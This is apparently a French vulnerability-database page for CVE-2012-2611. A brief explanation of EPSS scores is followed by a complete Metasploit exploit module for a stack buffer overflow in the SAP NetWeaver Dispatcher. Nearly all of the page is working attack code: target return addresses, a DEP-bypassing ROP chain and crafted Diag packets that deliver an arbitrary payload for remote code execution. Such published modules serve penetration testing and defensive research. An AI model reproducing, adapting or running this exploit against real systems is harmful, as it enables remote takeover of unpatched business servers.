CVE-2012-2611 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the SAP NetWeaver Dispatcher service. The overflow occurs in the DiagTraceR3Info() function and allows a remote attacker to execute arbitrary code by supplying a special crafted Diag packet. The Dispatcher service is only vulnerable if the Developer Traces have been configured at levels 2 or 3. The module has been successfully tested on SAP Netweaver 7.0 EHP2 SP6 over Windows XP SP3 and Windows 2003 SP2 (DEP bypass). }, 'Author' => [ 'Martin Gallo', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'OSVDB', '81759' ], [ 'CVE', '2012-2611' ], [ 'BID', '53424' ], [ 'EDB', '20705' ], [ 'URL', 'http://www.coresecurity.com/content/sap-netweaver-dispatcher-multiple-vulnerabilities'], [ 'URL', 'http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=Uncovering_SAP_vulnerabilities_reversing_and_breaking_the_Diag_protocol'] ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x00", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ # disp+work.exe version 7200.70.18.23869 [ 'SAP Netweaver 7.0 EHP2 SP6 / Windows XP SP3', { 'Ret' => 0x5f7a # 0x005f007a # call ebx from disp+work.EXE } ], [ 'SAP Netweaver 7.0 EHP2 SP6 / Windows 2003 SP2', { 'Ret' => 0x77bde7f6 # {pivot 44} # ADD ESP,2C # RETN from msvcrt.dll } ] ], 'Privileged' => false, 'DefaultTarget' => 1, 'DisclosureDate' => 'May 8 2012')) register_options([Opt::RPORT(3200)], self.class) end def create_rop_chain() # ROP chains provided by Corelan.be # https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2 rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN 0x41414141, #junk 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0A40F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN 0x90909090,#nop 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") return rop_gadgets end def exploit peer = "#{rhost}:#{rport}" connect # initialize diagheader = "\x00\x10\x00\x00\x00\x00\x00\x00" user_connect = "\x10\x04\x02\x00\x0c\x00\x00\x00\xc8\x00\x00\x04\x4c\x00\x00\x0b\xb8" support_data = "\x10\x04\x0b\x00\x20" support_data << "\xff\x7f\xfa\x0d\x78\xb7\x37\xde\xf6\x19\x6e\x93\x25\xbf\x15\x93" support_data << "\xef\x73\xfe\xeb\xdb\x51\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00" dpheader = "\xff\xff\xff\xff\x0a\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff" dpheader << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" dpheader << [diagheader.length + user_connect.length + support_data.length].pack("V") dpheader << "\x00\xff\xff\xff\xff\xff\xff\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" dpheader << "terminalXXXXXXX" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\x20\x20" dpheader << "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" dpheader << "\x00\x00\x00\x00\x00\x00\x00\x00" pkt = [dpheader.length + diagheader.length + user_connect.length + support_data.length].pack("N") pkt << dpheader pkt << diagheader pkt << user_connect pkt << support_data print_status("#{peer} - Sending initialize packet to the SAP Dispatcher") sock.put(pkt) res = sock.get_once(-1) if not res print_error("#{peer} - The connection with the Dispatcher has not been initialized") return end # send message if target.name =~ /Windows XP SP3/ crash = make_nops(112) crash << "\xeb\x02" # jmp over call pointer crash << [target.ret].pack("v") crash << make_nops(10) * 200 crash << payload.encoded else # Windows 2003 crash = "C\x00" # Avoid "UNICODE" conversion when copying data to stack crash << rand_text(2) # padding crash << [0x77bd7d82].pack("V") * 55 # <== after stackpivoting esp points here # "ret" ROP nop from msvcrt crash << [0x77bdf0da].pack("V") # pop eax # ret from msvcrt crash << [target.ret].pack("V") # stackpivot crash << create_rop_chain crash << payload.encoded end print_status("#{peer} - Sending crafted message") message = "\x10\x06\x20" + [crash.length].pack("n") + crash diagheader = "\x00\x00\x00\x00\x00\x00\x00\x00" step = "\x10\x04\x26\x00\x04\x00\x00\x00\x01" eom = "\x0c" pkt = [diagheader.length + step.length + message.length + eom.length].pack("N") pkt << diagheader pkt << step pkt << message pkt << eom sock.put(pkt) disconnect end end